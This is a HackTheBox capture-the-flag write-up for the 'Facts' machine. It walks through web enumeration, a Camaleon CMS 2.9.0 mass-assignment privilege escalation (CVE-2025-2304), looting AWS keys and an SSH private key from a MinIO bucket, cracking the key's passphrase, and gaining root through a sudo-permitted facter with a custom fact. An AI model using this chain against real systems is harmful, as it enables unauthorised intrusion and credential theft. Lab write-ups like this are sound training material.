Facts

📅 Last Updated: Mar 11, 2026 06:01 | 📄 Size: 12.2 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Easy | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ nmap -sC -sV -Pn 10.129.244.96 -oN ./nmap.txt 
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-11 15:21 +0000
Nmap scan report for 10.129.244.96
Host is up (0.56s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
|_  256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
80/tcp open  http    nginx 1.26.3 (Ubuntu)
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 42.49 seconds

Add facts.htbto our /etc/hosts

HTTP - TCP 80

From the index page, we can't find anything interesting.Let's enumerate the web contents of this website

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ ffuf -u http://facts.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -fw 1328

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1328
________________________________________________

400                     [Status: 200, Size: 6685, Words: 993, Lines: 115, Duration: 906ms]
404                     [Status: 200, Size: 4836, Words: 832, Lines: 115, Duration: 862ms]
500                     [Status: 200, Size: 7918, Words: 1035, Lines: 115, Duration: 813ms]
admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1642ms]
admin.cgi               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1571ms]
admin.pl                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1498ms]
admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 1524ms]
ajax                    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 1569ms]
captcha                 [Status: 200, Size: 1285, Words: 7, Lines: 3, Duration: 1799ms]
error                   [Status: 500, Size: 7918, Words: 1035, Lines: 115, Duration: 1737ms]
page                    [Status: 200, Size: 19593, Words: 3296, Lines: 282, Duration: 1783ms]
post                    [Status: 200, Size: 11308, Words: 1414, Lines: 152, Duration: 2346ms]
robots.txt              [Status: 200, Size: 99, Words: 12, Lines: 2, Duration: 1618ms]
robots                  [Status: 200, Size: 33, Words: 2, Lines: 1, Duration: 1708ms]
rss                     [Status: 200, Size: 183, Words: 20, Lines: 9, Duration: 1654ms]
search                  [Status: 200, Size: 19187, Words: 3276, Lines: 272, Duration: 2051ms]
up                      [Status: 200, Size: 73, Words: 4, Lines: 1, Duration: 929ms]
welcome                 [Status: 200, Size: 11966, Words: 1481, Lines: 130, Duration: 1823ms]
:: Progress: [4614/4614] :: Job [1/1] :: 22 req/sec :: Duration: [0:03:43] :: Errors: 80 ::

Now we can find the admin login page We don't have any valid credit, but we can try to create an account here.

Now we can access to the admin panel and we can find the version of this service Camaleon CMS 2.9.0

We can find the vulnerable version CVE-2025-2304 https://medium.com/@iamkumarraj/mass-assignment-vulnerability-in-camaleon-cms-2-9-0-ajax-privilege-escalation-9a09c8253b52 Mass Assignment Vulnerability in Camaleon CMS 2.9.0 (AJAX Privilege Escalation)

The poc would be

How the Exploit Works

1. Authentication: The script first logs in as a regular registered user

2. Exploitation: It sends a POST request to /admin/users/[id]/updated_ajax with a malicious payload: (In the script I used id 5 as this is usually the one assigned automatically. It might need to be changed.) password[role]=admin - This parameter should be filtered, but isn't due to permit! password[password] and password[password_confirmation] - Updates the user's password (When a regular user with a client role updates their profile, it is technically user[role]=client, but because we are exploiting here the vulnerability resulting from the change password functionality, it will be password[role]=admin.)

 3. Privilege Escalation: The user's role is changed from regular user to administrator

 4. Verification: The script attempts to access admin-only endpoints to confirm success

Or you can use the exploit script https://github.com/predyy/CVE-2025-2304.git

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ python3 exploit.py http://facts.htb/admin wither wither123                                             
[*] Logging in as wither ...
[+] Login successful
[+] Got profile page
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: P9TuVYO_Kf49dQRY8v1bqX3BTVdIADD834a4Fsc0x_NGTqiPb6ToIbBIwq8ONEkDSeu29A5q5dVKNm7n-Pzcmg
http://facts.htb/admin/users/5/updated_ajax
[*] Submitting password change request
[+] Submit successful, you should be admin

It has been changed to administrator role now.

Now we can get more tools here After simply enumerating, we can find something interesting about AWS We have get these credit, we can use aws-clito interact with it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ aws configure --profile facts 
AWS Access Key ID [None]: AKIAEFD5334840F0041E
AWS Secret Access Key [None]: RHy5SOiFucAGDwDvs6TvjtSfXUgvIDer7PqGf3EN
Default region name [None]: us-east-1  
Default output format [None]: jason

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts

An error occurred (RequestTimeTooSkewed) when calling the ListBuckets operation: The difference between the request time and the server's time is too large.

Actually we can use faketimeto help us fix this problem

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ curl -I http://facts.htb:54321
HTTP/1.1 400 Bad Request
Accept-Ranges: bytes
Content-Length: 213
Content-Type: application/xml
Server: MinIO
Vary: Origin
Date: Wed, 11 Mar 2026 05:41:04 GMT

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ faketime "2026-03-11 05:41:04" aws s3 ls --endpoint-url http://facts.htb:54321 --profile facts
2025-09-11 12:06:52 internal
2025-09-11 12:06:52 randomfacts

We can find there are 2 buckets, internal seems like our target here.Let's continue to enumerate it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ faketime "2026-03-11 05:41:04" aws s3 ls s3://internal --endpoint-url http://facts.htb:54321 --profile facts
                           PRE .bundle/
                           PRE .cache/
                           PRE .ssh/
2026-01-08 18:45:13        220 .bash_logout
2026-01-08 18:45:13       3900 .bashrc
2026-01-08 18:47:17         20 .lesshst
2026-01-08 18:47:17        807 .profile

.sshwould be our next target, continue to get it

┌──(wither㉿localhost)-[~/Templates/htb-labs/Easy/Facts]
└─$ faketime "2026-03-11 05:41:04" aws s3 sync s3://internal/.ssh ./ssh --endpoint-url http://facts.htb:54321 --profile facts
download: s3://internal/.ssh/authorized_keys to ssh/authorized_keys 
download: s3://internal/.ssh/id_ed25519 to ssh/id_ed25519

Now let's try to decrypt it

┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ chmod 600 id_ed25519 
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ ssh-keygen -yf id_ed25519 
Enter passphrase for "id_ed25519": 
Load key "id_ed25519": incorrect passphrase supplied to decrypt private key

┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ ssh2john id_ed25519 > id_ed25519.john                
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ john id_ed25519.john --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519)

Now let's use this to crack the private key

┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ ssh-keygen -yf id_ed25519 
Enter passphrase for "id_ed25519": 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKJ+5ecrqyx5OO2b+rwPN2x2WI+qS8MosU2m6LkiMEuG trivia@facts.htb

Now we can use this to ssh connect to the machine

┌──(wither㉿localhost)-[~/…/htb-labs/Easy/Facts/ssh]
└─$ ssh -i id_ed25519 trivia@facts.htb       
The authenticity of host 'facts.htb (10.129.244.96)' can't be established.
ED25519 key fingerprint is: SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_ed25519': 
trivia@facts:~$ whoami
trivia
trivia@facts:~$ id
uid=1000(trivia) gid=1000(trivia) groups=1000(trivia)

Privilege Escalation

I can find another account william

trivia@facts:/home$ ls -al
total 16
drwxr-xr-x  4 root    root    4096 Jan  8 17:53 .
drwxr-xr-x 20 root    root    4096 Jan 28 15:15 ..
drwxr-x---  6 trivia  trivia  4096 Jan 28 16:17 trivia
drwxr-xr-x  2 william william 4096 Jan 26 11:40 william

You can get the user flag from the home directory of william

Also by checking sudo -l

trivia@facts:/home$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter
    
trivia@facts:/home$ ls -al /usr/bin/facter
-rwxr-xr-x 1 root root 249 Nov 26  2024 /usr/bin/facter

trivia@facts:/home/william$ file /usr/bin/facter
/usr/bin/facter: Ruby script, ASCII text executable

We can check the script

trivia@facts:/home/william$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true

require 'pathname'
require 'facter/framework/cli/cli_launcher'

Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)

CliLauncher.start(processed_arguments)

Also you can find the trick from GTFOBins I will show you step by step

1, Create a malicious fact:
mkdir /tmp/facts
nano /tmp/facts/pwn.rb

2, execute it by factor
sudo facter --custom-dir=/tmp/facts pwn

Now you can get the root shell

trivia@facts:/home/william$ mkdir /tmp/facts
nano /tmp/facts/pwn.rb
trivia@facts:/home/william$ sudo facter --custom-dir=/tmp/facts pwn
root@facts:/home/william# id
uid=0(root) gid=0(root) groups=0(root)
root@facts:/home/william# 

Description

Even on a very simple Linux machine, it's still possible to clearly find all the vulnerable versions. The final privilege escalation is also crystal clear.